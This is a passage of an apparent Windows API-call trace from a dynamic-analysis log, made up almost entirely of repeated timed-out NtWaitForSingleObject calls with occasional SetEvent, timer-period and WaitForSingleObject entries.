	[0096.922] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.934] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.943] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.960] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.970] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.021] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.132] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.190] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.213] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.226] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.237] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.247] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.257] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.267] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.277] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.289] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.299] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.309] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.319] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.329] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.340] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.399] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.409] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.419] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.429] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.439] SetEvent (hEvent=0x8c) returned 1
	[0097.439] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.441] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0097.441] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0097.550] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0097.550] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.552] SetEvent (hEvent=0x8c) returned 1
	[0097.552] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.567] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.568] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.569] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.570] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.571] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.573] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.573] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.574] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.575] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.576] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.577] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.578] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.579] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.580] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.582] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.593] SetEvent (hEvent=0x8c) returned 1
	[0097.593] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.594] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0097.594] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0097.596] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0097.596] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.596] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.612] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.613] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.614] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.615] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.616] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.617] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.618] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.619] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.620] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.621] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.622] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.623] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.624] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.625] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.626] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.627] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.628] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.629] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.630] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.631] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.632] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.633] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.634] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.635] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.636] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.637] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.638] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.639] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.640] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.641] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.642] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.643] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.644] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.645] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.646] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.647] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.648] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.649] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.650] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.651] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.652] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.653] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.654] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.655] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.658] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.660] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.661] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.662] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.663] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.664] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.665] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.666] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.667] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.668] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.670] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.673] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.679] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.689] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.699] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.709] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.720] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.730] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.740] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.750] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.760] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.770] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.782] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.792] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.802] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.812] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.822] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.833] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.850] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.860] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.870] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.880] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.890] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.901] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.911] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.921] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.931] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.941] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.951] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.962] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.972] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.982] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0097.992] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.002] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.012] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.023] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.033] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.043] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.053] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.063] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.079] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.089] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.099] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.109] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.119] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.129] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.139] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.150] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.160] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.170] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.180] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.190] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.200] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.212] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.222] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.232] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.242] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.263] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.275] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.285] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.295] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.310] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.320] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.330] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.342] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.352] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.362] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.372] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.382] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.392] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.403] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.413] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.423] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.433] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.443] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.453] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.463] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.474] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.484] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.494] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.504] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.521] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.537] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.548] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.558] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.568] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.578] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.588] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.599] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.616] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.628] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.638] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.648] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.658] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.669] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.679] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.689] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.699] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.709] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.719] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.730] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.740] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.750] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.760] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.770] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.780] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.790] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.801] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.811] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.821] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.831] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.841] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.851] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.862] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.872] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.882] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.892] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.902] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.912] SetEvent (hEvent=0x8c) returned 1
	[0098.912] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.913] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0098.913] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0098.921] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0098.921] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.930] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.948] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.949] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.950] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.951] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.952] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.953] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.954] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.955] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.956] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.957] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.958] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.959] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.960] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.961] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.962] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.963] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.964] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.965] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.966] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.967] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.968] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.969] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.970] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.971] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.972] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.973] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.974] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.975] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.976] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.977] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.978] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.979] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.980] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.981] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.982] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.983] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.984] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.985] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.986] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.989] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.990] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.991] SetEvent (hEvent=0x8c) returned 1
	[0098.991] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0098.992] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0098.992] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0098.997] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0098.997] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.010] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.026] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.044] SetEvent (hEvent=0x8c) returned 1
